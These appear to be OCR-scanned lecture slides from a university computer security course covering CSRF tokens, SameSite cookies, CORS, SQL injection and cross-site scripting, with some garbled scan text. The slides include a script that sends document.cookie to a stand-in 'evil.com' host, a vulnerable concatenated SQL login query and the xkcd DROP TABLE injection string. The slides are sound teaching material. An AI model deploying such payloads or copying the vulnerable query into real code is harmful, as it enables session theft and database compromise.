Web Security IlI:
CSRF Mitigation, SQL Injection

CS 1660: Introduction to Computer Systems Security




How can we restrict which origins can make requests?

/Multiple mechanics, implemented at different layers of\
the system

N => Defense in depth! )
EE——




Server-side: CSRF token

Server sends unguessable value to client, include as hidden variable in

POST / PANOOM L)
<form action="/transfer.do" method="post">
<input type="hidden" name="csrf token" value="axXg3423fjp. . .">
[...]
</form>

On POST, server compares against expected value, rejects if wrong or
missing

What does this prove?




CSRF Token: Mechanics

Different web frameworks handle tokens differently

* Set token per-session or per-request?

* Can include token directly in generated HTML, or use JS to set
via cookie



Upload Submission

© Upload a submission for a student.

* Required field
Student *

Select a student

Submission PDF *

[3 Please select a file

Cancel Upload




Upload Submission

© Upload a submission for a student.

* Required field

v<div class="themodal-overlay"> == $0
v<div class="submissionsManager--uploadModal modal" style="display: block;">
P> <div class="modal--heading">(w </div>
P> <div class="modal--subheading"> = </div>
v<div class="modal--body">
v<form class="form" id="submissions-manager-upload-form" enctype="multipart/J¢rm-data" action="/courses/704610/as
signments/4081276/submissions" accept-charset="UTF-8" method="post" novali ="novalidate">
<input name="utf8" type="hidden" value="v">
<input type="hidden" name="authenticity token" value="scdwA4s561700VOBVRa9gEIV6yDTIER17be6aE7MP1i1]tv1zUGMLGBPT
hwriwg5pxV/1T29YGkc16iKfp96w+0g==">
P> <div._clas form--requiredField"> e </div>
»<div class="form--group"> . </div>
<p class="msg m"></p> flex
<p class="msg msg-warning" style="display: none;"></p>
P <div class="fileUpload"> - </div>
v<div class="tiiBtnContainer tiiBtnContainer-spaceAbove modalv2--footerActions"> ( flex
<button name="button" type="button" class="tiiBtn tiiBtn-tertiary">Cancel</button>
<input type="submit" name="commit" value="Upload" id="submit" class="tiiBtn tiiBtn-primary" data-disable-
with="Upload">
</div>
</form>
</div>
</div>
</div>
<div id="dataTable-status" class="sr-only" role="status" inert aria-hidden="true"></div>
P <script type="text/javascript" inert aria-hidden="true">:- </script>
<a class="sr-only sr-only-focusable tiiBtn tiiBtn-primary skipLink" href="#main-content" inert aria-hidden="true"




[ More info: Mozilla MDN ]

Limit cookie sharing

SameSite attribute: control how cookie is shared when origin is a
different site:

Set-Cookie: sessionid=12345; Domain=b.com; SameSite=None

_————

Without any protections, all
cookies for b.com get sent to
requests for b.com
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https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie

[ More info: Mozilla MDN ]

AL o
= (7 B.com

SameSite attribute: control how cookie is shared when originisa”
different site:

Limit cookie sharing

Set-Cookie: sessionid=12345; Domain=b.com; SameSite=None

* None: No restrictions®

e Strict: Send cookie only when request originates from site that
sent the cookie

e Lax (default since 2021): allow cross-site requests for requests
initiated by user (eg. clicking a link, but not Javascript)
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https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie

[ More info: Mozilla MDN ]

Limit cookie sharing

More important attributes:

Set-Cookie: sessionid=12345; . . . HttpOnly=true, Secure

e Secure (true/false): Only send this cookie when using HTTPS

Qbene  podipsr  Etloo® jpi
* HttpOnly (true/false): If true, cookie can’t be read by Javascript (but
can still be sent by requests)

(K


https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie

< Feature: Cookies default to SameSite=Lax

Overview K“ BWS Yovo Lf

Treat cookies as SameSite=Lax by default if no SameSite attribute is specified. Developers are still able to opt-in to the
status quo of unrestricted use by explicitly asserting SameSite=None.

This feature is available as of Chrome 76 by enabling the same-site-by-default-cookies flag.

This feature will be rolled out gradually to Stable users starting July 14, 2020. See https://www.chromium.org/updates
[same-site for full timeline and more details.

Get Ready for New SameSite=None; Send feedback
Secure Cookie Settings 0O -

On this page
Understanding Cross-Site and Same-Site Cookie Context
A New Model for Cookie Security and Transparency

Chrome Enforcement Starting in February 2020

How to Prepare; Known Complexities

Thursday, January 16, 2020




CORS: Cross-Origin Resource Sharing (/4/77//%/%‘)

Systematic way to set permissions for cross-origin requests for most dynamic
resources (Javascript and others):

# Allow origin example.com to use resources from here
Access-Control-Allow-Origin: https://example.com

# Allow any origin to use resources from here
Access-Control-Allow-Origin: *

If Origin not allowed by header,
browser prevents page from reading response
=> Browser must implement this properly!

18



CORS Further reading { Overview here: Mozilla MDN }

* Gained adoption in major browsers 2009-2015
* Requires site owners to define policies for how resources are used

* For some requests, browser will do a “preflight” before sending request at
all to see if it’s authorized

e Extra nuances for requests that send cookies “credentialed” requests
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https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

User Interaction

Force certain high-value operations to require use input
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O

Confirm access

Signed in as @ndemarinis

[

Authentication code @

XXXXXX

Verify

Open your two-factor authenticator
(TOTP) app or browser extension to view
your authentication code.

Having problems?

e Use your password

Tip: You are entering sudo mode. After you've
performed a sudo-protected action, you'll only
be asked to re-authenticate again after a few
hours of inactivity.
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O

Confirm access

Signed in as @ndemarinis

[

Authentication code @

XXXXXX

Verify

Open your two-factor authenticator
(TOTP) app or browser extension to view
your authentication code.

Having problems?

e Use your password

(L
W\ ik é)\()s\)b-mv/ml{")(
'U 0

Tradeoff => security vs. usability

nours of Inactivity.
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Extending our Webserver model...



Most complex sites use a
database

® Client-supplied data stored into database
® Access to database mediated by server
®* Examples: Relational, Document oriented,

|

|

Database
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Standard Query Language (SQL)

* Relational database e SQL describes operations
— Data organized into tables (queries) on a relational database
— Rows represent records and
columns are associated with attribute
attributes | , ,
Name ID Grade\ Password admin
record demardo 37 PSSO
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SELECT attributes FROM table WHERE condition; [-- comments]




SELECT: Data flow

C3S1660

Server

access your grade: - POST Alice's
grade WHERE name=Alice

Database

Insert your name to

SELECT name, grade
from CS1660

Student. 4 200 OK: Alice, A - Alice | A

Grade:
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SELECT: Data flow

C3S1660

Server

access your grade: - POST Alice's
grade WHERE name=Alice

Database

Insert your name to

‘ SELECT name, grade
from CS1660

28



Example Query: Authentication

SELECT * FROM CS1660 WHERE
Name=$username AND Password = hash( $passwd ) ;

Name ) | ID Grade admin

Bernardo 345 - H(password) 1
Bob 122 H(bob123)

Alice 543 H(a3dsr87)

AL



SELECT * FROM CS1660 WHERE
Name=$username AND Password = hash( $passwd ) ;




UPDATE table SET attribute WHERE condition; -- comments




'DELETE FROM table
WHERE condition; -- comments




ALTER TABLE table
ADD element varchar(20); -- comments







SELECT attributes FROM users
WHERE user = 'Alice' AND password = '<hash>'




SELECT attributes FROM users
WHERE user = 'Alice' AND password = '<hash>'

db->query ("SELECT * from users where username=" . $user .
" AND password = " . Shash "'");




What could go wrong?
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User input affects the query string!
ie, input becomes part of the code (here, the SQL query)
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User input affects the query string!
ie, input becomes part of the code (here, the SQL query)

— We call this Code Injection

This example is an SQL Injection (SQLI)
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SQL Injection

— Causes execution of unauthorized queries by injecting SQL
code into the database

Attacker Fomd




SELECT * FROM CS1660 WHERE
Name=$username AND Password = hash( $passwd ) ;




SELECT * FROM CS1660 WHERE
Name=$username AND Password = hash( $passwd ) ;




SELECT * FROM CS1660 WHERE
Name=$username AND Password = hash( $passwd ) ;




HI, THIS 1S OH, DEAR — DID HE DID YOU REALLY WELL, WE'VE LOST THIS
YOUR SON'G SCHOOL. | BREAK SOMETHING? | NAME YOUR SON YEAR'S STUDENT RECORDS.
WE'RE HAVING SOME IN A WAY — Robert'); DROP I HOPE YOURE HAPPY.
COMPUTER TROUBLE. / TABLE S&ﬂenr(',S'-~ ? Qs

R AND I HOPE
) \ —~ OH. YES. UTTLE ~— YOUVE LEARNED
ROBRY TABRLES, :  TO SANITIZE YOUR
1) g q lj H {! WE CALL HIM. DATARASE INPUTS,

Source: http://xkcd.com/327/

46



More code injection?



)

1 17N

~
D
3
) - 3
= > S & 3
nLuw ' ﬂV. S (AN
N\ A A\
)
|/
S
S N
N c
e :
9 b
AN =
\ c
"~ r.\\,N/ o
¢ A
.W L I
a -~
iy -
—— /Ill

r

Abstract model for a web application (revisited)
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Cross-Site Scripting (XSS)

* Problem: users can submit text that will be displayed on web

pages
* Browsers interpret everything in HTML pages as HTML
 What could go wrong?
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Example

* Website allows posting of chirps chirpbook. html

* Server puts comments into page: <html>
) : , :
ChirpBook!<br /> 2E;§;§>Chlrp800k.</t1t1e>
Here's what everyone else had to say:<br /> chirp Away!
Joe: Hi! <br /> <form action="sign.php"
John: This is so <b>cool<b>! <br /> method="POST" >
Jane: How does <u>this</u> work? <br /> <input type="text" name="name">

<input type="text"
name="message" size="40">
<input type="submit"
» Can include arbitrary HTML... f"alue= Submit”>
Attacker: <script>alert("XSS §§b§§$§
Injection!"); </script> <br /> </html>
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Cookie Stealing

What happens if | submit this as a Chirpbook comment?

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST’, ‘http://evil.com/steal.php’, true);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(‘cookie=‘ + document.cookie);

</script>
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Stored XSS

POST /comment.php
comment=<script> /* make a post request to
evil.com with document.cookie... */ </script>

INSERT INTO comments (value)
VALUES (‘<script>...</script>’)

>

¢

["Hello”, ..., “<script>...</script>"]
<body>

<script>..</script>

</body>
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